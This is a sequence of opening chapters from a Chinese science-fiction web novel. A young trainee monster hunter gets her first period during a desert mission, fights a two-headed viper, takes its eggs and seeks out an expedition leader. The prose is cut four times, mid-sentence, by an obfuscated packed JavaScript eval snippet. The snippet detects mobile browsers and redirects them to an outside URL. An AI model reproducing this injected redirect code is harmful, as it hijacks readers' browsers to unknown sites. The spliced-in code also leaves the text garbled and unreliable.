《茉莉和她的宠物们》 1. 初潮 茉莉来月经了。 她坐在卫生间里，盯着裤子上的狼藉和不小心弄到地上的血迹反复确认这一事实：她的月经初潮毫无预兆地降临在此刻。 过去的十五年里她一直觉得，自己是个普通人——像这个时代的大部分人一样，非自然出生的、人造子宫里一批批培育的胚胎，没有生育能力无法正常排卵，终其一生也不会经历任何一次月经；如果想要个孩子，唯一的选择是去培育一个新的胚胎。 她们一代又一代，第一次睁开眼睛，都在人造器皿里。 但地上一滴虾红色血液给了茉莉第二个选择。从这一刻起她被踢出了这类“普通人”的范畴。她是自然出生的、并且是极少数仍然保留自然生育能力的那一小部分女性。这意味着从此她将享有最高等级的受教育权、人身安全权以及在婚恋市场上几近最高优先级的挑选权利，而与之交换的，是她从此不得再从事高危职业，她会被严密地保护起来，直到她生下一名健康的女婴。 获得权利，履行义务，这很公平。 但……坦白来说，实际上茉莉的脑子已经停摆了，在思考这些宏大的东西之前，她选择先做更简单的事——处理现场。 作为异兽研究所里的一名战斗型预备队员，茉莉在战场上早已积累了丰富的面对伤口和血迹的处理经验。来自异兽、来自队友和来自她自己的。 她熟练地拆开随身携带的急救包，翻出三角巾垫上应急，然后用水冲走其他地方的血液。 看着红色被水流稀释，茉莉回忆起来第一次划破异兽血管时的场景，就算屏住呼吸了她手也止不住地抖。她脑海里出现一个模糊的念头：那些没有上过战场的来月经的女孩们呢？她们第一次擦去从身体里流出血液的时候也会手抖吗？ 答案对她来说不重要了。茉莉看着那一小摊已经平复了的水面，又重复冲了一遍水。漩涡又一次重复涌起再恢复平静这个过程，和之前的每一次都没什么两样。 茉莉把自己的脸泡进洗手池的冷水里，像鱼一样吐出肺里所有的空气，一连串泡泡在她脸侧不断浮起破碎。 今天是晶核采集任务的第三天，这次任务的成绩在从预备队员晋升至正式队员的考核里占很大比重。 而她努力通过了各项考核才获得胜任眼下这份危险但荣誉的工作的资格。 茉莉知道，她对冒险的热爱远远超过对危险和未知的担忧。 这是她选择的道路，她想一直这样生活下去。 ……尽管另一条道路看起来充满诱惑。 茉莉抬头望向镜中的自己，睫毛湿成一簇一簇往下滴水。 她随手抹掉脸上的水珠，检查身上的作战服每一处都穿好了，这才拿起靠墙放着的电磁光炮和头盔，手放在门把上，茉莉深吸一口气才往外推。 “怎么这么慢啊？”另外一个和她年纪相仿的女孩递过来她的包催促道，“我们得快些，天要黑了。” “我想单独行动，望短。”茉莉接过包抬腿往前走，一边随口说道，“到今天为止的收获已经差不多够我们完成任务了。” 这次任务的评分是综合上交的异兽晶核品质和个数来定的。她们队伍只有两个人，到目前为止收集到的晶核数量已经达到及格线了。 “我建议你不要。”望短发出梦呓般模糊的声音。 “……什么？”茉莉停下脚步，回头看向望短的眼睛。 望短生来异瞳，一黑一灰，灰的一只眼睛虹膜边缘泛白到几乎看不出和眼白的界限。 研究所里知道“望短”这个名字的人不多，但说起“阴阳眼”这个名字则几乎无人不晓。 茉莉因为吃惊而微微抬起的眉毛，清清楚楚地倒映在那一对阴阳眼里。 “你今天有血光之灾，我建议你和我呆在一起，不要单独行动。” 望短说话时候一只眼球不断震颤，她几乎只用气声把这一长串的音节从嘴唇间隙里吐出来，除了“建议”这两个字。 茉莉能从“建议”这两个字里听见她牙齿咬合在一起的声音。 “……好吧。”茉莉退让了。 望短从来不轻易给出建议，一旦她开始建议什么，最好认真放在心上，她从不失言，这是所有人的共识。 茉莉选择相信她。 她们一路走到空地上去，补给点是硕大灰白几何体组成的建筑群，没有任何无谓的装饰，实用的利落被发挥到极致，面前是一望无尽的黄沙，天上有两颗太阳，一颗赤红色的正熊熊燃烧着、占据了小半个天空，而另一颗看上去则要黯淡得多也小得多。没有风，零星几朵浑浊的云黏在天上不动，两颗太阳一齐向地平线沉去。 快到黄昏，还有一个小时就要日落了。 在望短决定今晚去哪里过夜的空隙里，茉莉后知后觉地感到一种被选中的混乱，不明白原因也不明白这会把她带往何方，她的大脑被这种不知所措的荒芜占据。 “朝西走，那边有一个新的补给点，在一小块绿洲附近。“望短将地图投影到面前指给茉莉看，她们如果想在天黑之前抵达就必须马不停蹄地出发。 茉莉只好逼自己行动起来，她戴好头盔，穿上运动增强外骨骼，迎着夕阳赶路。一路上她试图整理脑海，但只有重复的片段不断在她脑海重播，流淌的血液一滴一滴掉落下来。她第一次划开异兽的皮肤时有无尽的慌乱；受伤时候流出来的血液会让她心跳加速、肾上腺素飙升。 但她处理月经时几乎没有任何多余的感觉——好像刻在身体里的本能，她天生就会像擦去眼泪一样擦去从身体里流出来的液体，不管它是什么。 她只需要在接下来的几天之内隐藏好这个事实，而之后的路怎么走，还有很多时间可以用来思考。 茉莉，现在还不是想这些的时候。 茉莉慢慢地让沸腾的大脑平静下来，还好她此刻身处沙漠，安静、空旷，天地之间除了连绵起伏的沙丘之外空无一物，单调的景色能帮助她放空。 等等……空无一物。 茉莉拉住望短，一个急停，手上电磁光炮“咔嗒”一声解开安全锁，她抬起手，谨慎地转身： “轰！” 茉莉朝下开了一炮，借助反冲力和望短分散开来、用最大速度拔高——一般来说在沙漠之中飞上天可不是个好选择，太容易成为靶子。 但现在是特殊时刻。 身下的沙子像活过来一样涌动坍塌下陷，如果她们仍在地面上赶路，此刻大概率会被流沙吞没，而这还不是最可怕的。 刚刚她开出的一炮似乎唤醒了什么，在大片流沙之中，有一小块不起眼的区域，那里的沙子像水一样沸腾冒泡。 地龙翻身。 这说明这片流沙之下有个活物，冒泡的地方是它的呼吸口，这是一只身长约在十米的蛇形异兽。 茉莉在空中稳住身体，眼睛紧紧盯着不断冒泡的沙地，她把电磁光炮锁紧在右手武器匣卡口上，左手反手抽出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950302|160896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把长鞭。 说是长鞭，其实外观看上去只是个平平无奇的圆筒形手柄，里面的纳米超维变形材料平时压缩在手柄内部，使用的时候就会展现出它真正的形态出来。这种材料可以预设不同的形状和性质，可攻可守。 望短擅长分析侦察维修改良设备，是可靠让人安心的辅助，但她在近身战斗上帮不上任何忙，是一款长版无限长短板也无限短的极端技术人才。而茉莉正好和她相反，她有敏锐的直觉、矫健的身手、细致的观察力和惊人的意志。 她们正好互补，两个人也够和其他五六个人的队伍较劲。 就比如在此刻，她们之间的默契无需言语。 “扫描半径500米，深度10米，生成地形图，对空警戒最高等级。”茉莉留在原地战斗，随着她的指令，一个投影在头盔内部展开。而望短则在保持速度的同时几乎静音地飞快撤离到远离战场但又能及时给予支援的安全距离。 形势比茉莉想得严峻，在整个投影范围内几乎看不到其他异兽的存在，这证明这只异兽对周围的其他异兽有一定威慑力。并且从投影显示来看，地下那条不断翻滚的异兽长了两个脑袋。 双头，一种少见的变异趋势，往往意味着更高的智慧和更难被杀死——毕竟保不齐这玩意就长了两个心脏，这种情况下，光打一个七寸可没用，得两个同时击破才行。 “双头角蝰，有毒，尽量不要接触伤口。进入血液很麻烦，容易引起肌肉瘫痪。通用解毒剂足够支撑到医疗队赶过来。”望短的声音从她刚建立起的双人通信频道中响起。 茉莉心中有数，她在角蝰背后耐心等着它冒出头来。 脚下的沙子刚一显露出角蝰身形，茉莉手上长鞭便往前一绞，顺利缠住它刚开始分叉的部位。鞭上有倒刺、通电，一鞭下去角蝰肉眼可见地狂暴起来，灰黄色身躯在和沙砾的摩擦之中发出刺耳响声，鳞甲相互摩擦，拍打地面扬起大片烟尘；两颗三角形头扭曲着张大嘴高高抬起朝向茉莉的方向，每只眼睛上方都长着尖角。 这尖角随着角蝰的狂暴从向后帖伏倏地直立起来，于此同时，不断拍打颤动的蛇信子直直朝茉莉面前刺来，带着“嘶嘶”的声响，光一只嘴几乎就占据了全部的视野，上下两对尖牙之间拉出长长的粘液丝。 像恐怖片里用来猎奇的恶心情景。 茉莉左手想要回抽，但角蝰前半段身体在沙地上来回盘旋蛇行，和她的长鞭紧紧绞在一起。茉莉感受着从长鞭上传来的拉扯力道，面无表情，抬起右手稳稳对准角蝰脆弱的喉咙口就是一炮。 红色的血液伴随着烧焦的肉味一齐飞溅，隐约可见半截焦黑的舌头炸飞出去。角蝰在剧痛刺激的暴怒之下，一大片腥臭的淡黄毒液劈头盖脸朝茉莉喷来。 她不得不松开长鞭，借力加速向后倒飞出去，但身上还是不可避免地沾染上了零星的毒液。 茉莉眼前的投影弹出警告： “！腐蚀性液体，请及时清理！” 这种毒液在装备表面停留的时间过长容易影响性能。 难缠。还要重新清洗消毒装备。 “帮我标记一下鞭子……”茉莉话还没说完，角蝰强壮有力的尾巴就从沙地之下猛地向她拦腰抽来。 大意了！只顾头没顾上尾，茉莉咬牙借身上气动装置发力，在空中极限腾挪，这才避开要害。 但她反应终究还是慢了一拍，右腿小腿被角蝰尾巴最末端带到，结结实实挨了一记。 2. 取卵 伤口处火辣辣地泛着疼。丢了武器又受了轻伤，茉莉心里生出一丝愤然的懊恼。 照往常的状态，她本可以完全避开那一下。但刚刚…… 茉莉继续拉开距离，一边感受着小腹微微坠痛的不适，力不从心地叹了口气，她还是低估了月经对她的影响。 但出乎她意料的是，暴怒中的角蝰并没有追击上来，而是继续保持着战斗警戒状态盘旋在原地。 对此感到疑惑的不止她一个。 “看我发现了什么？茉莉，这只双头角蝰刚产过卵！”望短兴奋的声音传到茉莉耳朵里。 产卵？！ 茉莉此前的不快被这个消息一扫而空。 不光是人类，异兽想要自然生殖也不是一件容易的事情。 难怪它要死守原地不愿意离开。 听说把异兽从出生开始养大就有机会驯化它们，甚至可以并肩作战。虽然饲养和驯化的过程很艰难繁琐，茉莉还没在现实生活中见到过异兽宠物，但她喜欢角蝰的样子，头上两个尖角会让她联想到地球时代神话里的“龙”。 她一边想象着亲手养大一只异兽作为宠物或伙伴的可能，一边喘息着平复心跳。 哪怕不能驯化，这些卵也有极高的研究价值，上交到所里同样能提高她们的贡献评分。 茉莉凝视着投影里被望短高亮标红的球形物体，心里有个声音告诉她，不要错过这个机会。 要得到它，得到这只角蝰的晶核和还没孵化的卵。 风抚平刚刚打斗之间留下的痕迹，也吹起茉莉的头发，她的眼神里满是兴致和坚定。 “你说，我们有可能弄到它的卵吗？” 通信频道里的声音混着风声，略微失真。 “我的模型评估你正常状态下完全能够击杀这只角蝰。”望短停顿一瞬，“但你刚刚的战斗表现好像有点飘忽……” “如果你觉得吃力的话，那试试我最近测试的预测模型。”望短不是太在意茉莉的状态波动，她面前的投影滚动着长长短短的数据条，正双手十指轮动敲击着键盘对其中的模块进行编辑。 望短敲下“发送”键，茉莉眼前的投影就开始变幻。 “灰色的轮廓是它下一步会出现的位置，如果你在它的攻击范围会有警报出现。”望短嘴上说着，手上马不停蹄开始组装一个球形机械，“还没正式测试过准确率，但它刚刚预警的速度比你反应快。” “我放个带气囊的无人机过去，你注意接收装备。”望短把手里组装好的球形无人机往空中一抛，它就颤颤巍巍地往茉莉所在的位置飘去。 茉莉抬手比了一个手势表示“收到”。 她刚刚检查过了，小腿没事，皮外伤不影响。茉莉始终保持着合适的距离和运动范围，用身体挡住无人机飞来的轨迹。 她轻巧地回手一笼，就把球形的机械捉到手里，从卡扣处打开一分为二。 带防护气囊的小型载物飞行器上掉下来一个和她之前丢下的长鞭外观一模一样的圆筒形手柄。 她伸手一摁，里面的纳米超维材料弹出来，是条钩索。 茉莉乐了：“研究所不说这东西一人一个吗？你哪来的？” 这种材料是新研发出来拿给她们测试用的，定过型了就不能改，除非拿回研究所重新锻造。望短当时锻造了一个圆形轮盘用来当盾牌，用了再多伸缩机关也变不成钩索。 “前两天路上捡的，我看长得跟你鞭子差不多就收起来了。” 茉莉在空中挽了两圈花，对它很是满意。钩索长鞭这类长软兵器不光长得相似，用起来也是相通的。 只是不知道它的主人有没有加装什么其他辅助。 茉莉回到角蝰身边，绕着它庞大的身躯兜圈子，试图创造一个合适的角度，或者破绽。而角蝰庞大的身躯也一直跟随着她挪动，同样试图找到一个合适的喷射毒液的角度。 双方陷入僵持。 太阳全部落山之后能量源就没有途径进行补充了，不光武器、她们穿戴的运动增强外骨骼和望短用来收集分析数据的设备都需要消耗大量的能量。除非用未经处理过的晶核来补充能量，但那样太奢侈、太不划算。 僵持对她不利，她需要速战速决。 茉莉权衡之下，冒进地靠近到危险距离，冲着之前被长鞭勒出的伤痕就是一炮。 她这回吸取教训没有贸然去用钩索，生怕又一次被缠绕不得不脱手。 角蝰发出暴烈的“嘶嘶”声，回环扭动着身体，松软的沙砾都被它坚硬的鳞甲压得紧实。它猛地一拍粗壮有力的尾部，扬起一大片沙尘的同时，扭头大张着嘴冲上来想要撕下茉莉身上的任何部位。 茉莉肾上腺素飙升，她感觉到世界都安静下来。风声、身上各种装置发出的电流声、角蝰碾压沙地的摩擦、两条不同频率的蛇信嘶嘶声，还有她自己的心跳声，全都在茉莉的耳边被放大。她能感觉到自己的手微微颤抖，没关系，对她的准度影响不大，这点轻微的颤抖是全神贯注的体现。 茉莉比对着投影里的灰色轮廓和角蝰实际的位置，计算着看准机会将手中钩索甩出去，末端尖钩正好卡住角蝰完好那一颗头的上颚。 一击得手，茉莉毫不停留转身就把动力装置开到最大拖着角蝰往平坦的地方去，同时在频道里呼叫望短。 “来了！”望短在沙丘背面一翻身就朝这边赶来。 调虎离山。 望短不需要茉莉任何多余的沟通交流也能够明白她的意图，悄无声息又敏捷地朝着角蝰卵靠近。蛇类的卵通常是软的，又深埋在沙砾之下，一般的工具要么翻开沙子的效率太低，要么就是太容易将它们弄破。 而望短在这种情景之下，在疾驰的同时从背包里翻出来一张重力收束网，调节好网孔的大小，既让沙子能顺利快速地漏下去，又能网住所有的角蝰卵。 她准备将这一窝卵，进行字面上的“一网打尽”。 另一边茉莉则是有惊无险地牵制住了双头角蝰，望短捡来的钩索有如神助一般紧紧钩住了角蝰一侧的头，甚至阻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950303|160896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拦了它喷射毒液。 茉莉原先打算应付毒液的气囊甚至都不需要打开，只有中途几次角蝰猛烈地挣扎让她险些脱手。 但她咬紧牙关撑住了，感受到角蝰挣扎的力度一次比一次渐小的时候，茉莉也随之改变了方向。 她一个人没法对角蝰进行更多的攻击，如果用电磁光炮，冲击力有可能反而会让角蝰脱钩，她不想赌。 “拿到了！”望短的声音再度出现在频道里时带来的是好消息。 “朝我汇合，我们速战速决。”茉莉感觉到角蝰的体力已经被她消耗得差不多了，此时天边的巨日只有一半还在地平线上燃烧、尽显颓势。 “直接火力压制？”望短提议。 茉莉同意，虽然火力压制会一同引爆晶核，但她们已经已经收获到了更有价值的卵。 更何况太阳落山之后是异兽活动的高发时间段，而她们离下一个补给点还有一定距离。不到万不得已尽量不要在夜间赶路，这是每个预备队员上的第一课。 留给她们的时间不多了。 望短当即就地开始架设她的改良远射炮，她早就蠢蠢欲动想用了，可惜这次任务的目标是收集晶核，这种简单粗暴的方式往往会把晶核一起变成碎片，几乎找不到用武之地。 好不容易有了大展拳脚的机会，望短兴致勃勃。 “远射炮架设完毕，点火准备。” “五，四，三，二，一——茉莉，撤！”望短在通信频道中喊道。 “轰——！” 茉莉撤出危险区域之后仍然被爆炸的冲击波掀得滚翻掩埋在黄沙之中，她一骨碌翻身爬起来，眉毛一竖，在她张开口之前，望短的道歉已经在等着了： “真是不好意思，忘记和你说了，这个我也改装了一下，嘿嘿。” 茉莉无语。好在只是一点气流，问题不大。 她欲伸手去拍身上的沙，又想起来之前溅到的毒液，茉莉手停在半空，最后只好不自然地甩了甩手臂。 趁着望短拆卸远射炮的空当里，茉莉去炮弹落地的中心检查情况。 那只双头角蝰已经破碎得看不出来原有的面目了，骨头血肉混成深色的沙团；晶核碎片也散落得到处都是。钩索半埋在沙子里，露出一点尖角像搁浅的船锚，经历了爆炸之后它仍然完好，看来这种材料的强度的确配得上那群研究员们天花乱坠的说辞。 茉莉走过去将它捡起来，弯下腰把绳索拽起的时候，沙子滑落带出来另一个不规则尖刺物体的轮廓。 ——是另一枚晶核。 茉莉讶然，这只角蝰既然能拥有双头这么罕见的进化方向，那它有两个晶核好像也确有可能发生。但鬼使神差地，她没有去拿背包里特质的保存晶核的容器，而是随意地放进了口袋里。 太阳又往下沉了几分，赤红的半圆弧恢恢地坐落在地平线尽头，像永远无法抵达的巨大山峰，天被染得泛紫。 在一刻更比一刻昏黄的日暮里，两个人影争分夺秒地往目的地的蓝色建筑群去。 3. 入夜 茉莉和望短所处的这颗星球名叫金沙α星，因它遍布着金黄色的沙漠得名，α指的是它的危险等级、或者说异兽泛滥的程度。 完全没有异兽或只存在无攻击性异兽的星球不需要在名字里加上任何后缀，它们适合人类生存活动；后缀α的就是像黄沙α星这样异兽危险程度和数量都较少的星球，根据现存的异兽分布被划分为生产区和战场。生产区负责供给食物医药武器，战场上主要有军队、异兽研究所和民间探险队三方一同作战。 β及往后的后缀名则是危险的、遍布异兽的、人类只建立了小型据点或根本没来得及建立据点的星球。 茉莉和望短处在金沙α星靠近生产区的后方战场，这里已经由军队和研究所正式队员们分别清扫过一遍了，才留给她们这群预备队员练手。 每隔一段距离也有已经建立好的补给点，为了方便辨认，统一粉刷了不同的高饱和颜色，也干脆直接用颜色来称呼。 比如她们今晚决定过夜的，就是蓝色补给点。 但当太阳整个落到地平线后面，天空也只留下被余烬映亮的边缘，连绵的沙丘在肉眼里分不出前后，只能模糊辨认重重叠叠的斜轮廓线时，她们离补给点还有小一百公里。 一百公里，需要至少一个标准星际时。 希望这一个小时里不要出什么岔子，茉莉在心里祈求着打开了头盔夜视仪，她不能开灯，夜晚灯光相当于给异兽们提供了一个自带准星跟随的移动靶子。 虽然研究所给她们配备的夜视仪能够进行实时光照渲染模拟现实白天，但由算法生成的画面再逼真，还是不可避免地降低人对危险的直觉灵敏性，尤其对茉莉这种直觉型选手影响特别大。 有的时候，反应慢一拍，也许就是生存和死亡的区别。 失去光照之后，沙漠就开始迅速降温。夜色一层一层加深，疲惫也一层一层侵袭，望短往嘴里塞了两片提神薄荷制剂让大脑保持运转。 茉莉把作战服里的温度恒定模块调高，今天温度对她的影响格外地大，傍晚的时候小腹还只是微微坠痛的轻度不适，现在则转为了更为明显的、跟着心跳一下一下脉冲的痛感。 一路平安，直到蓝色的建筑轮廓隐约出现在地平线边缘。 如果是经验丰富常年混迹战场的老油子在这里，一定会知道，越是这种时候越不能掉以轻心，异兽们，尤其是有一定智慧的那批，早就学会了在夜晚的补给点附近守株待兔。而蓝色补给点是茉莉小队任务范围内规模最大的补给点，夜视仪更加能够扩大可视范围，也就是说，更加会扩大“倒在黎明前前一分钟”的可能。 但这种经验不是茉莉这种新人预备队员能有的。她通过夜视仪看到蓝色建筑时无疑松了口气，开始和望短闲聊起来：“所以我今天的血光之灾是什么？” 今天到现在她受到的最重的伤也不过是小腿上那一下，也许连皮都没破，似乎挨不到“血光之灾”这四个字的边。 但如果望短说的是她月经初潮的事，那她这“阴阳眼”的本事就太灵了。 “……不知道。” 望短咬着嘴里的制剂含混地说，“可能还没来。” “什么意思？”茉莉疑惑。 “意思是……”望短话还没说完，从沙丘背面冲出了一群速度惊人的四蹄长耳生物。 “……现在来了。”望短在心里补完没来得及说的剩下半句话，并且成功发挥出了她在逃跑这件事上经年的练习成果。 但茉莉就没有那么好运，她首当其冲地被领头羊盯住了。 是的，领头羊。 这群长着快一米长大耳朵的四蹄生物，确确实实是山羊属。具体是什么种已不可考，所以异兽研究所将它简单称为长耳山羊。 这群长耳山羊就这么挥舞着它们充血的蒲扇一样的耳朵，鼻子里嗤嗤地往外冒着热气朝着茉莉冲过来。 茉莉扯开电磁光炮安全锁，瞄准开枪一气呵成。 虽然看上去很吓人，它们的大耳朵当武器一样甩起来噼啪作响，皮肤韧性十足，时不时两只前蹄一齐翘起来想要蹬人，但对茉莉来说，面对这样没有特别变异特征的异兽已经是轻车熟路了。 甚至不用特别去瞄准，它们的大长耳朵遍布血管，一旦被击中，这种对痛觉敏感的生物就会失去行动能力倒地。 面对单个的山羊，茉莉几近一枪一个，解决起来很轻松。但架不住山羊数量实在太多了，这一群约莫有二十只，又加上她的电磁光炮有一定的冷却时长，连开三炮就会触发强制冷却，不然有炸膛风险。 她只能一边用鞭子和钩索控制住不让山羊近身，一边算好时间用电磁光炮逐个解决。 时间一长，茉莉不免有些左右支绌。 可惜望短也帮不上忙，这种纯粹近战的场合完全是她的短板，她能及时跑开脱离战场不拖后腿已经就算是很不错了。 茉莉只能一个人在混战中奋斗，在她注意力只顾得上身前朝她扑来的危险的时候，有一只山羊趁她不注意，从后方咬住了她的后背右侧。 茉莉忍痛解决完最后两只山羊的时候感觉到伤口大约是破皮了，确实如望短所言，是血光之灾。 不算被茉莉私吞的角蝰晶核，有了这群山羊，她们收集到的晶核数目应该在所有小队里也能排到中游水平，相较与一般小队都是五至七个人的人数，她们的成绩已经非常不错了。 “……乌鸦嘴，快过来把晶核收了。”茉莉在频道里使唤望短。 望短很是无奈地从安全区域回来，任劳任怨地干活。考虑到茉莉的确受伤了，她决定不去触这个霉头，闭上嘴努力干活。 好在今晚在补给点附近的异兽确实只有这么一批长耳山羊，茉莉和望短终于在日落后的两个小时内赶到了补给点。 蓝色补给点休息区和训练区，休息区是专门的一栋高楼，而训练区则根据体能、器械、装备锻造等不同用途修建了不同场馆。 茉莉和望短用ID卡刷开了休息区的门禁，在七楼挑了两个对门的房间入住。 最大的补给点房间也是最好的，一人一个单独的套间，从娱乐到医疗，各类设施一应俱全。 茉莉冲进卫生间里脱下所有的装备，扔进清洁舱里让它们自动清洗消毒，然后呲牙咧嘴地除去上半身的衣物，找来一个小型无菌医疗泡，侧过身体对着镜子小心翼翼地反手贴在伤口处等着里面设定好治疗程序的小机器人做伤口清创。 这种无菌医疗泡是研究所特供，不需要清洗伤口，任何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950304|160896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条件下只需要对准吸附上去就能开始工作，完全密封、防水，柔性材料，丝毫不影响从洗澡到有氧运动的低强度活动。 小机器人先要对她的伤口进行评估，在机器扫描她伤口的时间里，茉莉打开花洒，让热水从头顶冲刷，雾气弥漫在狭小的空间里。 茉莉没有动作，她只是闭上眼睛静静地站着，直到她感觉到心跳重新回到和缓有力的状态为止。从头到脚都冲洗干净之后，她把沾上血液的裤子和其他带血的衣物混在一起扔进脏衣篓交给家居智能解决，然后用吸血纱布垫在新的内裤上。 然后再次检查伤口，很好，小机器人评估后背上的伤口等级为最轻的一档，处理完浸泡上修复液一晚上就能恢复，小腿上红了一道印子，涂点药油按摩就差不多了，茉莉放下心来。 在医疗泡工作的时间里，茉莉打开光脑，连上网络，终于恢复了和外界的连接。 金沙α星目前的基建水平，只允许生产区和大型补给点拥有可以连接到外部星网的基站，茉莉这次任务范围内只有三个补给点的基站能够正常工作，下午她们所在的白色补给点的规模都还没有达到拥有基站的级别。 消失了一整个白天，她的消息通知里闪动着无数个红点。 茉莉把它们统统屏蔽。 她翻出一个指甲盖大小的芯片，插在光脑的的外设接口上，这个芯片可以让她短暂地绕开研究所对网络的监听，时间是半个小时。 茉莉争分夺秒地开始查阅起她所需要的生理知识，以及，卫生用品的获取途径。 在迅速的浏览过后，茉莉查阅到了无数面向生活在高度智能普及的安全的星球上的女性的信息，但几乎百分之百，关注的内容是月经期间应该如何更舒适地居家护理、月经周期对于孕育的影响。 茉莉想看的不是这些。 她意识到，她需要找一位和她一样的，生活在战场上并且有相关经验的女性寻求帮助。 据她的了解，民间探险队里应该有不少，茉莉决定摇人问问。 茉莉清除浏览记录，取下芯片，在脑海里检索能够帮得上她忙的人，随即划过消息列表，从一大群未读消息之中里找到一个头像为顶着五颜六色头发自拍大头照的人，无视对面发来的五十条消息，打字问道：“你离蓝色补给点有多远？” 发送并附上定位。 五彩大头鹦鹉秒回： “距离为0。” “我在五楼。” “5013” 茉莉大喜过望，一边抓起能够出门见人的外套往身上穿，一边回复： “现在出门，我三分钟后到五楼。” “老地方见。” 茉莉说的老地方是五楼影音室，一般非必要时刻这里的监控不会开启，所以交换情报买卖交易一类的勾当都常在这里发生。 等她急匆匆下楼，一个顶着斑斓橙红黄色背梳头发的高个已经靠着门口在等着了，他朝茉莉递过来一瓶饮料，然后俯身捻起一缕带着水汽的头发。 “什么事情这么着急，头发都没吹干就跑出来了？” 茉莉没接饮料，推门进去找了个没人的包厢坐下，等人锁好了门，她才开口： “你有办法联系到孔雀吗？” 4. 孔雀 “联系的途径我倒还真有，但……”背头黄毛鹦鹉贴着茉莉坐下来，把手里饮料打开再次递到茉莉面前，“你怎么突然要找孔雀？” 茉莉这才接过那瓶本地生产区出产的浓缩合成沙刺汁仰头灌了一大口。 为什么要找孔雀？因为孔雀那里一定有她要找的人和东西。 比起孔雀这个名字，她更为人所知的称呼是“飞鸟”探险队队长。 “飞鸟”，金沙α星第一大民间探险队，以其“参差不齐”的人员素质闻名遐迩。飞鸟的组成人员里，下到小孩上到耄耋老人；不论男女老少老孕病残，只要能入得了“孔雀”的眼，就能加入飞鸟。 孔雀凭她一双慧眼，不光把飞鸟做大成金沙α星上人数最多的探险队，也是除了军队和研究所之外唯一一支有自己保障后勤体系的探险队。 带α、β等后缀的星球因为开发程度不高，本身就三教九流鱼龙混杂，“飞鸟”不设限制的选人条件更是囊括了各种奇葩异类。 如果说，有一位会来月经的女性，她的职业是民间探险队队员，她最好的选择一定会是包容度最高的“飞鸟”。换句话说，对茉莉而言，没有比孔雀更好的人选了。 “你知道的，孔雀眼光很挑剔，一般货色她可看不上。”黄毛鹦鹉接着往下说，“你得做好被她大敲一笔竹杠的准备。” “是吗？”茉莉没去纠正他的误会，挑起一边眉毛，“你怎么知道不是我敲她竹杠呢？” 黄毛鹦鹉想要说句什么，但最后没出声。他掏出光脑调出孔雀的好友界面朝茉莉示意：“我帮你约还是你自己来？” “你来吧。我明天全天有空，约什么时间都方便。” “顺便和她说，望短也在。” 黄毛鹦鹉打字的手一顿：“……原封不动和她说吗？她能知道望短是谁？” 茉莉微微一笑：“原封不动说就行了。” 孔雀会知道的。 茉莉站起来打了个哈欠：“我先回去了，她回复你了直接给我拨视讯。” “累成这样？这次任务又上难度了？需要外……援吗？”黄毛鹦鹉话还没说完，茉莉人已经走出去了。 “真是的，偏要去研究所干什么，又穷又累也没混出东西来。”黄毛鹦鹉伸个懒腰，一并也把茉莉喝剩的饮料带走了。 第二天一早，茉莉就被光脑弹出的视讯吵醒。 她迷迷糊糊接通。 “哟，大小姐还没起床啊？” 一大早的，精致造型版黄毛鹦鹉就在视讯那头吵吵。茉莉眼睛都不想睁开：“有屁快放。” “孔雀说她下午两点来。还有，她专门说了只让你一个人见她。“ “知道了。”茉莉坐起来，“约的哪里？” “再睡会吧，不用你操心。”黄毛鹦鹉朝她露出一个自以为无可挑剔的笑容，“十一点半我来接你，吃个饭然后送你去地方。” “那行，十一点半见。”茉莉躺回去等黄毛鹦鹉挂断视讯。 她仰躺在柔软的大床上举起光脑给望短发消息：“昨天的角蝰卵情况怎么样？” “……说不清楚，你来我房间看吧。”望短回得很快。 茉莉放弃补觉计划，飞快地洗漱完毕，敲敲对面房门。 望短顶着一头鸡窝头，眼底乌青一片地来给茉莉开门，她脚步虚浮，开口第一句话就说：“今天不出去了。” “又一晚没睡？”茉莉看她萎靡的程度已经猜了个大概，脚下一拐去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950305|160896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冲了两杯饮料。 一杯金沙本地风味冻干咖啡给她自己，一杯混合莓果蜂蜜水给望短，两个人在研究台前坐下。 